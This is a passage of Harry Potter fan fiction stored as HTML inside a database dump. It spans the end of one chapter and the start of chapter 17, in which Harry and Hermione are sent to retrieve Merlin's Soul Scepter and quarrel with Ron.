style="text-indent:.25in">Torrin\napproached Jasmine as she swung gently on her swing, in a garden of beautiful\nflowers. &#8220;Jasmine, I have some bad news.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Slytherin\nconfronted the council, didn&#8217;t he?&#8221; She looked up at him as he continued to\nmove closer to her.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yeah,\nI was there Jasmine. He has them against you already and you haven&#8217;t even\nspoken yet.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nscooted over, &#8220;come sit with me Torrin.&#8221; She smiled sweetly up at him.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nslowly sat down on the swing next to Jasmine.&nbsp;\nHe watched and felt her wrap her arms around his neck and lean her head\non his shoulder.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Torrin\nI already have Ulrich doing something for me, he&#8217;s gonna retrieve Slytherin&#8217;s\njournal for me, so that I may find something that connects him with the dark\narts,&nbsp; They will know he is after power\nand then they will discredit his charge against me.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nsighed and rested his head atop hers, they swung gently back and forth.&nbsp; &#8220;Jasmine, they&#8217;re gonna execute you.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nsmiled a bit, &#8220;I already knew that. You see Slytherin wants me out of the\nway.&nbsp; He knows I won&#8217;t use the scepter\nfor his benefit, but I would use it to stop him.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow, that&#8217;s what I told the council.&#8221;&nbsp;\nHe didn&#8217;t want to tell her about the part where Slytherin threatened\nhim, he left that part out.&nbsp; She didn&#8217;t\nneed something else to worry about.&nbsp; &#8220;Are\nyou afraid of Slytherin, Jasmine?&#8221; He looked down at the top of her brown head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;No,\nI&#8217;m not.&nbsp; I never have been. I&#8217;ve always\nknown there was something off about him.&#8221; Jasmine said with a sigh.&nbsp; &#8220;He has never frightened me like he has\nothers.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Well\nyou&#8217;re strong, and we&#8217;ll get through this.&#8221; Torrin said then he kissed the top\nof her head.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nstood before the council ready to receive her sentencing when Torrin stood up\nout of his seat. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Wait,\ndon&#8217;t pass judgment yet.&#8221; Torrin shouted, &#8220;how do we know that Lord Slytherin\nis telling us the truth. I know for a fact that Jasmine would never use the\nscepter for power, she would use it to stop those who endanger us all.&nbsp; Lord Slytherin wants to control us, not\nJasmine.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Salazar\nhad enough, he stood. &#8220;This is the second time you have slandered me, you\nbetter have some proof to back up your story.&#8221; He glared evilly at Torrin.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Proof,\nyou want proof you say?&#8221; Torrin smirked, he turned slightly bending picking up\nthe journal from off his seat. He stood upright facing the entire council\nshowing them the leather bound journal. &#8220;I have here written in Lord\nSlytherin&#8217;s own hand, his plans for total domination of both muggles and us.&#8221;&nbsp; Torrin opened the journal, &#8220;he has created\nsuch creatures as a Basilisk which his hidden in some secret chamber with in\nthe castle. He has created horrible beasts that kill and destroy with a simple\nlook.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Salazar\nsaw his journal in the boy&#8217;s hand, <i style="mso-bidi-font-style:normal">How?</i>\nHe thought to himself.&nbsp; He looked over at\nJasmine who waved a bit with a smirk on her face <i style="mso-bidi-font-style:\nnormal">Jasmine, how did she&#8212;</i> He couldn&#8217;t even finish his thought as Orvin\nreached for the journal.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Let\nme see that.&#8221; Orvin said taking the journal in his hand, He looked up at\nSalazar and then started to read the journal. He couldn&#8217;t believe it. All\nSalazar&#8217;s plans where also written down, he attempted to force Jasmine to use\nthe scepter for him while trying to put her under the Imperious curse, he read\nof the failure of that curse, she had too strong of a mind to control. So he\nplanned to get her out of the way so that he could not be stopped.&nbsp; Orvin handed the journal to several different\ncouncil members.&nbsp; They all stared at\nSalazar.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Salazar\ndidn&#8217;t like this at all, he turned to Torrin. &#8220;This is all your fault.&#8221; He\npointed at Torrin, &#8220;I will make you pay for this, boy.&nbsp; This is far from over.&#8221; And with that he\napparated before he could be arrested. </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Find\nhim, he must be caught.&#8221; Orvin said as a group of armed guards headed out the\ndoors.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Hey\nwhat about Jasmine?&#8221; Kai shouted standing up.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Orvin\nturned to the four main council members they whispered something, Orvin\nfaced&nbsp; Jasmine, &#8220;Jasmine Ravenclaw you\nare cleared of all charges, we realize that you were trying to keep us safe, I\nwas gonna put us into the hands of death and you would have died innocent.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Sir\nnow is not the time to worry about me, I have a proposal if you are willing to\nlisten?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Certainly\nJasmine.&#8221; Orvin said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Now\nthis will benefit both our kind wizard and muggle, and it will protect every\none.&nbsp; There will always be someone trying\nto achieve absolute power, I know that. I propose we hide our world from the\nmuggles world, it will give both of us protection from the other. I mean you\ndon&#8217;t have to decide right now, but you could at least give it some thought.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I&#8217;ll\nrun it by the council and see what they say, I can&#8217;t promise anything though.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nknow that.&#8221; She smiled.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Orvin\nreturned the smile and then confronted the rest of the council, &#8220;we must find Slytherin,\nhe must not escape.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">****</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nlooked up at the cave, &#8220;so this is where you studied all those years?&#8221;&nbsp; He looked over at Jasmine.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It&#8217;s\na lot nicer on the inside than it looks on the outside.&#8221;&nbsp; Jasmine replied.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Jasmine\nput her hand on the boulder,&nbsp; and in\nafter a few seconds, the boulder moved out of the way.&nbsp; &#8220;Merlin and I are the only ones who can open\nhis front door.&#8221; She said with a smile.</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So\nwhere exactly are we gonna hide this thing.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;I\nwant the Soul Scepter to be put out of peoples minds forever, I wish Merlin had\nnever created it.&nbsp; Once a muggle called\nMordrid got a hold of Merlin&#8217;s scepter, at that time anyone could use it\nwizard, witch or muggle. It wasn&#8217;t until Merlin came up with combining a soul\nwith the scepter to allow only that one person to use it.&nbsp; If a wizard or witch is clever enough, they\ncan reverse the soul weave so that it can be used by anybody again.&nbsp; But I doubt anyone is that intelligent, even\nI couldn&#8217;t do it.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Jasmine,\nwhere are we gonna hide it?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;In\na vault, where it will be forgotten.&#8221; They walked to the far end of Merlin&#8217;s\ncave to a strange looking wall.&nbsp; &#8220;Torrin\nI think it should be you and me to speak the spell that opens the vault that\nway only you and I together can open it. No one else will be able to get the\nscepter without both of us there.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;So\nthat means if we die, no one will ever be able to retrieve the scepter, right?&#8221;\n</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Yes,\nand that&#8217;s a good thing.&#8221; Jasmine looked at the silver scepter in her hand and\nset it next to the wall.&nbsp; &#8220;This thing\nshould never have been created, it&#8217;s caused nothing but trouble.&#8221;&nbsp; She looked at Torrin who was standing next to\nher, &#8220;now give me your left hand and with your right hand point your wand at\nthe vault door.&nbsp; I will speak the words\nof the spell so you know them and then we should speak them together.&#8221; She\ncleared her throat.&nbsp; &#8220;Earth, sun, moon\nand sky, open now and reveal thee to thine eye.&#8221; She looked over at Torrin\nagain, &#8220;there did you get all of that?&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;It\nseems pretty simple.&#8221; Torrin replied, </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&#8220;Now\nwe will say it together, and only us will be able to get into the vault.&#8221;&nbsp; She smiled briefly.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">The\npressed their hands together, palms flat and fingers intertwined.&nbsp; They pointed their wands to the vault door\nand spoke the incantation, a moment later the door opened revealing a large\nvault, full of gold, silvers, jewels, silks, and weapons&nbsp; practically dripping off the walls.&nbsp; Jasmine set the scepter in a silver holder on\na pedestal. &#8220;there, now it&#8217;s safe from those who wish to inflict harm.&#8221;&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Torrin\nand Jasmine started for the door of the vault, she turned looking back at the\nscepter one last time before she closed the door and it sealed on it&#8217;s\nown.&nbsp; And with that, they walked from\nMerlin&#8217;s cave.&#8212;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Rowena\nstood up in front blocking the memories from the professors. &#8220;Stop the memories\nnow please, we have what we need.&#8221; There was a deep sorrow in her voice, &#8220;we\ndon&#8217;t need to see what comes next, just know this. They died.&#8221; A transparent\ntear trickled down her cheek as Professor McGonagall stopped the spell.&nbsp; &#8220;Now revive them, they need to go and\nretrieve the scepter.&#8221;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">========</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal" style="text-indent:.25in">Boy\nthose were some memories, weren&#8217;t they. Well I hope you weren&#8217;t too board, just\nwanted to give you an idea what Torrin ad Jasmine were like.&nbsp; Well stay tuned for chapter 17 So It Begins,\nthanks read and review, Ryoko</p>\n\n<p class="MsoNormal" style="text-indent:.25in">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(41, 17, ' <p>Disclaimer: Alright all the Harry Potter characters belong to J.K. Rowlings, except for the plot, Zara, Jewel, Enrique, Jasmine, Ulrich, Torrin, Alina,, Leelee, Kai, Finley and Orvin.&nbsp; Those are mine. So please don&#8217;t sue me because I don&#8217;t have anything</p>\n\n<p>Chapter 17&#8212;So It Begins</p>\n\n<p>Harry sat up rubbing the back of his head, where sure enough there was a large bump from where his head hit the floor earlier.</p>\n\n<p>&#8220;Enervate.&#8221; McGonagall said, pointing her wand to Hermione&#8217;s chest.&nbsp; Hermione sat up, she looked over at Harry with a tiny smile.&nbsp; </p>\n\n<p>&#8220;Welcome back to the world of the conscious my dears.&#8221; Rowena said with a smile.</p>\n\n<p>&#8220;Did you get what you needed?&#8221; Hermione asked, also rubbing her tender feeling sore spot on the back of her head.</p>\n\n<p>&#8220;You don&#8217;t remember?&#8221; Rowena seemed a bit disappointed.</p>\n\n<p>&#8220;I only remember bits and pieces, and it&#8217;s all really hazy.</p>\n\n<p>&#8220;That&#8217;s the trouble with past lives.&#8221; Rowena said, &#8220;you barely remember what happens. All you need is something to trigger your memories for you to remember them in your conscious state rather than dreaming them.&#8221; Rowena floated about the room a bit.&nbsp; &#8220;So how are you feeling Harry?&#8221;</p>\n\n<p>&#8220;I&#8217;m all right, just a bit confused with everything you told us. It&#8217;s quite a lot to take in you know.&#8221; Harry said, he pressed lips together forming a line.</p>\n\n<p>&#8220;And you Hermione? How are you feeling?&#8221; Rowena smiled a bit, there was still a trace of sadness in her grayish eyes.</p>\n\n<p>&#8220;I feel a bit like Harry does,&#8221; she turned to look at him for a moment then returned her attention to Rowena. &#8220;Very confused, I really don&#8217;t know what to make of all of this.&#8221;</p>\n\n<p>&#8220;There is something else we are going to need you to do.&#8221; Dumbledore spoke up this time.</p>\n\n<p>Both Harry and Hermione turned in the direction of Dumbledore&#8217;s voice, the saw his smile didn&#8217;t look the same. He looked a bit worried.</p>\n\n<p>&#8220;You are going to need to go to Merlin&#8217;s cave and retrieve the scepter and bring it back here.&nbsp; Since you can not apparate, you are going to have to either walk or find another way of getting there.&nbsp; A portkey will only take you so far.&nbsp; Merlin has placed special magics all around his cave and the city of <st1:city><st1:place>Camelot</st1:place></st1:city> for protection, it has been known that his protection even starts at <st1:place><st1:placename>Destiny</st1:placename>\n\n<st1:placetype>Lake</st1:placetype></st1:place> and continues on from there. It will be at least a three to four day journey from <st1:place><st1:placename>Destiny</st1:placename>\n\n<st1:placetype>Lake</st1:placetype></st1:place> to Camelot.&#8221;&nbsp; Dumbledore saw the confused look upon Hermione&#8217;s face he could see she was restraining herself from shoving her hand up in the air.&nbsp; &#8220;You have a question Miss Granger?&#8221;</p>\n\n<p>&#8220;I thought Camelot was no longer there?&#8221;</p>\n\n<p>&#8220;Oh it is still there and a thriving city at that.&nbsp; We get a lot of new magic ideas sent to us from visiting dignitaries from Camelot.&#8221; Dumbledore said with a twinkle in his eye.</p>\n\n<p>&#8220;Why do we need to get the scepter, can&#8217;t you send someone professional like an Auror or something?&#8221; Harry asked while looking between the professors and Rowena.</p>\n\n<p>&#8220;I&#8217;m sorry that&#8217;s quite impossible.&nbsp; You see it&#8217;s your souls that will open the vault.&#8221; Rowena started. &#8220;Nothing else will do it, no one else could do it.&nbsp; It&#8217;s you and Hermione, and only together can the vault be opened.&nbsp; You will have to speak an incantation, your left hands joined, your right hands holding your wands to the door.&#8221;</p>\n\n<p>&nbsp;&#8220;Merlin certainly had an obsession with soul weaving didn&#8217;t he?&#8221; Hermione said with a hint of sarcasm.</p>\n\n<p>&#8220;Do we even get a say in this, I mean can we refuse to go?&#8221; Harry didn&#8217;t like this idea at all. He had enough to worry about and he really didn&#8217;t want to go walking blindly into danger.</p>\n\n<p>Rowena narrowed her eyes at Harry, &#8220;you can refuse, but it would be very selfish of you.&nbsp; The world is will be under Salazar Slytherin&#8217;s power unless you retrieve the scepter, he is far worse than any other Dark Wizard that might be trying to achieve absolute power.&nbsp;&nbsp; Is that who you want ruling your world?&nbsp; And that&#8217;s exactly what will happen, all because you didn&#8217;t want to go.&#8221; Rowena looked at Harry and Hermione, both their heads were hung in shame, they didn&#8217;t realize they were being so selfish. </p>\n\n<p>All Hermione wanted was to keep Harry alive, and she didn&#8217;t want him running off risking his life and get into more trouble.&nbsp; But now she was a part of this too.&nbsp; What a royal mess her life was turning into. It was bad enough she had to constantly worry about the one she loved but now she has to worry about her own neck as well.</p>\n\n<p>Rowena regretted her words and her temper settled, remembering that they are young, and that Harry does have weight of the world resting on his shoulders with just the recent Dark Lord trying to constantly kill him.&nbsp; Trouble always seems to follow him around. &#8220;Please forgive my temper we are all a little stressed I suppose. Look I didn&#8217;t mean to make you feel bad, I know there&#8217;s a lot going on here.&nbsp;&nbsp;&nbsp; And I wouldn&#8217;t ask you to do this if it wasn&#8217;t in the best interest of you all.&#8221;</p>\n\n<p>Rowena smiled a bit, &#8220;all your going to do is just get the scepter and bring it back here.&nbsp; That&#8217;s all.&nbsp; We didn&#8217;t ask you to fight Slytherin until only one of you is left standing. Believe me that&#8217;s the last thing I want you to do.&nbsp; So please, you&#8217;re the only ones who can help us at this point.&#8221;</p>\n\n<p>Harry turned to Hermione, &#8220;this is probably going to be really dangerous, I don&#8217;t think that the journey is gonna be all that smooth.&#8221;</p>\n\n<p>&#8220;I agree with you, there are so many dangers out there.&nbsp; But all we&#8217;re doing is getting that scepter.&nbsp; I don&#8217;t think it&#8217;s too much to ask for. Perhaps we&#8217;ll even get extra credit.&#8221; Hermione said with a silly grin.</p>\n\n<p>Harry gave a soft laugh, &#8220;just like you to think of grades at a time like this&#8221; He rolled his eyes with amusement.&nbsp; &#8220;You&#8217;re right, it&#8217;s not too much to ask for.&#8221;</p>\n\n<p>Dumbledore cleared his throat looking at both Harry and Hermione. &#8220;I suggest you two get some sleep, you&#8217;ll want to leave early to get a good start on the travel.&nbsp; It&#8217;s quite murder on the feet, and you&#8217;ll need all the rest you can get.&#8221;</p>\n\n<p>Harry and Hermione both nodded and they stood from the bed, Harry picked up his invisibility cloak which was still by the door where they fell into the room.&nbsp; The left&nbsp; without looking back at the professors and that ghost.</p>\n\n<p>&#8220;Well that was quite an evening.&#8221; Harry said as they stepped out into the hall. </p>\n\n<p>&#8220;You can say that again.&#8221; Hermione thought a moment then looked at Harry while keeping his pace. &#8220;I was thinking that ghost might know what happens to us, she can go anywhere in time. She doesn&#8217;t want you fighting against Salazar Slytherin. I don&#8217;t want that either, but do you think she&#8217;s seen you attempting to battle Slytherin without this Scepter and loosing?&nbsp; Now she went back into a time where she could find the right weapon in order for you to bring his downfall?&#8221;</p>\n\n<p>&#8220;I don&#8217;t think she would want anybody to fight him, well alone anyway.&nbsp; From what I&#8217;ve read about him in the history books was that he was pretty damn powerful.&nbsp; I&#8217;m suspecting the fool was Voldermort who wanted Slytherin&#8217;s power and accidentally brought him back from the dead.&#8221;</p>\n\n<p>They stopped at the portrait that led into Gryffindor tower.&nbsp; The Fat Lady looked at them oddly.&nbsp; &#8220;A bit late for you two to be out dears, don&#8217;t you think?&#8221;</p>\n\n<p>Harry and Hermione just ignored the Fat Lady and Harry spoke the password, the portrait opened letting them into their common room.&nbsp;&nbsp; </p>\n\n<p>Ron was pacing back and forth, he heard footsteps and the voices of his best friends coming into the common room.&nbsp; He sighed with relief.&nbsp; &#8220;Where have you been? McGonagall has been here looking for you two. Did you get caught? Did you get detention?&#8221;</p>\n\n<p>&#8220;Ron relax, we didn&#8217;t get detention.&#8221; Harry replied trying not to break out into laughter at seeing his friend looking so worried.</p>\n\n<p>&#8220;We got a mission instead.&#8221; Hermione said regretfully.</p>\n\n<p>&#8220;A mission? Why would they send you two on a mission?&#8221; Ron sat down on the couch.</p>\n\n<p>&#8220;Because, we&#8217;re the only ones capable of doing the job.&#8221; Harry huffed and roughly flumped down into a red velvet chair.</p>\n\n<p>&#8220;Well where are you going?&#8221; Ron said staring into the fire.</p>\n\n<p>&#8220;To Merlin&#8217;s cave.&#8221; Hermione replied while sitting on the small sofa across from Ron.</p>\n\n<p>&#8220;Where is that located?&#8221; </p>\n\n<p>&#8220;In Camelot, where else would it be?&#8221; Hermione replied with a bit of sarcasm, she couldn&#8217;t help her tone, she was in a terrible mood.</p>\n\n<p>&#8220;You don&#8217;t have to get all snippy now Herm,&#8221; Ron replied glaring at her.</p>\n\n<p>&#8220;Don&#8217;t start with me Ron, I just learned a whole bunch of crap and I&#8217;m in no mood t&#8212;&#8221;&nbsp; </p>\n\n<p>&#8220;Oh no Hermione Granger just learned something, and what she didn&#8217;t like it?&#8221; Ron&#8217;s voice dripped with Sarcasm.</p>\n\n<p>&#8220;Ron stop it, leave her alone alright, it&#8217;s not easy to take in what we just learned.&#8221; Harry replied in aggravation.</p>\n\n<p>&#8220;Oh yes take her side,&#8221; Ron spat looking at his friend.</p>\n\n<p>&#8220;Ron grow up, this has nothing to do with taking sides.&#8221; Hermione shot back.</p>\n\n<p>Ron glared at her, standing &#8220;of course you would say that, you have Harry here wrapped around your little finger.&#8221;</p>\n\n<p>Hermione jumped to her feet, &#8220;I do not!&#8221; She was livid.</p>\n\n<p>Ron laughed harshly, &#8220;Right Hermione, what ever you say.&#8221; He smirked, &#8220;how do you always get him to agree with you, everything I suggest or say lately is wrong.&nbsp; But no, nothing is wrong when it comes down to you. Miss Perfect. Miss Tight Ass.&#8221; The look on Ron&#8217;s face was as if he hit it right on. &#8220;Oh I get it. I know why he&#8217;s always agreeing with you. It&#8217;s because if he ever disagreed with you and pissed you off,&nbsp; he wouldn&#8217;t get to fuck you anymore, and let&#8217;s face it, it&#8217;s probably the only thing your good fo&#8212;&#8221; He didn&#8217;t get to finish his comment because Hermione&#8217;s hand connected with his cheek.&nbsp; A red hand print was forming where she had struck him.</p>\n\n<p>&#8220;You&#8217;re a bastard Ronald Weasley.&#8221; She said barely above a whisper, her eyes filling with tears.&nbsp; Hermione turned on her heels and headed straight for her dorm room.</p>\n\n<p>&#8220;That was low Ron, even for you.&#8221; Harry said trying to control the anger he felt toward his best friend.&nbsp; He didn&#8217;t trust himself not to throw a punch, he needed to get away from Ron or there would be pain.&nbsp; Shaking his head back and forth as he soon followed after Hermione.</p>\n\n<p>Ron sat down again, simply staring into the fire.</p>\n\n<p>Hermione&#8217;s alarm clock woke her at <st1:time minute="0" hour="18">six o&#8217;clock</st1:time> in the morning, she sat up rubbing the sleep out of her eyes.&nbsp; She did not want to go to Merlin&#8217;s cave, but then it wasn&#8217;t really a choice.&nbsp; She stood up and stretched, all her joints cracking and releasing their tension.&nbsp; She picked out a pair of jeans, a plain light blue t-shirt, and the necessary undergarments and headed to the shower in the girls dorm. </p>\n\n<p>After a short but thorough shower, she dressed and used a drying charm on her hair.&nbsp; She pulled out an elastic band and put her long hair up into a pony tail.&nbsp; Since she was going to be doing a lot of walking and possibly hiking over mountains and such, she didn&#8217;t need her hair flying in her face, bugging her.</p>\n\n<p>She went over and found her school bag, she dumped her books and things out and replaced it with several changes of clothes at least five days worth.&nbsp; She then used a shrinking charm on her bag.&nbsp; There was a knock on the door.</p>\n\n<p>&#8220;It&#8217;s open.&#8221; She shouted.</p>\n\n<p>The door swung open and Harry walked in, &#8220;you ready?&#8221; She turned and faced him, she still had that sad look from last night, when Ron said those horrible things to her.</p>\n\n<p>Harry sighed, seeing that look on her face he immediately reached out and pulled her into his comforting embrace.&nbsp; Hermione&#8217;s arms went around his waist while he stroked her back affectionately, letting her hold onto him for as long as she needed. It was the same thing they did last night, they just held onto each other until she fell asleep, Ron&#8217;s words were hurtful and cruel and Harry didn&#8217;t want her to suffer through her emotions alone, he wanted to be there for her.&nbsp; He would always be there for her if she needed him.&nbsp; He also wanted to prove that what Ron has said is not true. </p>\n\n<p>&nbsp;Harry broke the depressing silence, &#8220;Hermione, let&#8217;s go down and get some breakfast and then we can be on our way, we have a long way to go.&#8221;</p>\n\n<p>She nodded against his chest. Hermione pulled her head from his chest and looked up.&nbsp; She wiped her eyes with two slender fingers.&nbsp; Hermione noticed she was looking up at him, but not too much to tower over her, more like the perfect height to her.&nbsp; She herself had finally reached a good five foot ten. So that would make Harry at least six foot one.&nbsp; It was perfect. &#8220;Harry, you&#8217;ve grown.&#8221;</p>\n\n<p>He glanced down into her eyes, &#8220;It looks as though I have, we we&#8217;re keeping up with each other&#8217;s height there for awhile.&#8221; A light smile flittered across his face.</p>\n\n<p>&#8220;I kinda like it this way,&#8221; She didn&#8217;t have to reach up too much as her arms went around his neck.&nbsp; &#8220;It&#8217;s not that I didn&#8217;t like your height before Harry, I loved everything about you.&nbsp; But I feel somewhat more protected. Does that make any sense to you?&#8221;</p>\n\n<p>Harry bent slightly, and rested his forehead against hers. &#8220;It makes prefect sense.&#8221; He whispered then placing a tiny kiss on the tip of her nose.&nbsp; &#8220;Well we should head down now, as much as I would just love to sit up here and hold you and kiss you, we really should be on our way.&#8221;</p>\n\n<p>Hermione nodded and stepped back from Harry,&nbsp; &#8220;do you have your stuff?&#8221;</p>\n\n<p>&#8220;Yep.&#8221; Harry lifted a bag off the floor. &#8220;You?&#8221;</p>\n\n<p>She turned and picked up her bag off the bed, it was so small it fit in the palm of her hand.&nbsp; Hermione showed it Harry with a grin on her face. &#8220;Yep.&#8221; And she tucked it into the pocket of her jeans, and gave the pocket a soft pat.</p>\n\n<p>Harry grinned, &#8220;could you do that with mine too?&#8221;</p>\n\n<p>Hermione pointed her wand at Harry&#8217;s bag and spoke the shrinking charm. &#8220;There, how&#8217;s that?&#8221;</p>\n\n<p>&#8220;Perfect.&#8221; He smiled also tucking his mini bag into his pocket, &#8220;It pays to have the most brilliant witch in the world as my girl.&#8221; He flashed a radiant smile of white teeth.</p>\n\n<p>Hermione tried to look stern and poked her finger into his stomach. &#8220;Okay Mr. Flattery lets get going.&#8221; She couldn&#8217;t hold the stern look and her face broke into a delightful smile.</p>\n\n<p>They headed down to the great hall, where breakfast was waiting for them.&nbsp; Not to many students were up this early.&nbsp; But Harry and Hermione had to get a start on their long journey.&nbsp; They sat down at their table, Hermione picked at a grapefruit. While Harry started in on eggs and ham.</p>\n\n<p>The Great Hall doors burst open and Snape quickly rushed in, he abruptly stopped next to Harry and Hermione.</p>\n\n<p>&#8220;Do not mess this up, let&#8217;s see if you can do at least one thing right.&#8221;&nbsp; He looked around making sure no one was looking.&nbsp; He sat a vile of silver potion down on the table next to Hermione.&nbsp; &#8220;It&#8217;s a healing elixir, you might need this just take a drop if necessary. Taking too much will make you inflate and bloat up.&nbsp; Good luck.&#8221; His face softened a bit and he gave a tiny half smile.&nbsp; He heard the door open and his face returned to its normal sneer. &#8220;Maybe you&#8217;ll do us all a favor and get lost.&#8221;&nbsp; He turned and headed towards the High Table.</p>\n\n<p>Hermione turned and gave Harry the oddest look, &#8220;was I just dreaming this or did Snape just smile at us and wish us luck?&#8221;</p>\n\n<p>&#8220;Well then we must be sharing the same dream, because I saw it too.&#8221; Harry said looking over at Snape who took his place at the end of the table.&nbsp; He then returned to his breakfast.</p>\n\n<p>As they finished breakfast, Harry and Hermione stood ready to leave the Great Hall, Ron along with his sister walked in.</p>\n\n<p>&#8220;Well you were out of line Ron, Zara&#8217;s not gonna talk to you unless you apologize for what you said to Hermione. She&#8217;ll probably even sit with the Slytherins today all because she doesn&#8217;t want to be around you.&#8221; Ginny said, looking up and sure enough Zara was about to sit down between her two friends Jewel and Enrique at the Slytherin table.&nbsp; She didn&#8217;t even turn to look towards the Gryffindor table.</p>\n\n<p>Ginny wished she had enough nerve to go and sit with the Slytherins after all the love of her life was over there and he was looking at her. But she knew the Slytherins didn&#8217;t tolerate her as much as they did Zara.&nbsp; Zara was tough and somewhat sneaky at times, she fit right in with them.&nbsp; The only Gryffindor to ever be tolerated, not liked mind you, but tolerated by Slytherins.</p>\n\n<p>&#8220;I&#8217;m not apologizing.&#8221; Ron said breaking up Ginny&#8217;s thoughts. &#8220;So she can just ignore me until I die for all I care,&#8221; Ron said. He looked ahead of him as saw the angry glares of his ex-friends.</p>\n\n<p>All they did was stare menacingly at each other before Harry grabbed Hermione&#8217;s hand and pulled her out of the Great Hall.&nbsp; They ran right into Dumbledore.</p>\n\n<p>&#8220;Ah, just the two students I wanted to see.&#8221; Dumbledore said with a smile.&nbsp; &#8220;Now Rowena 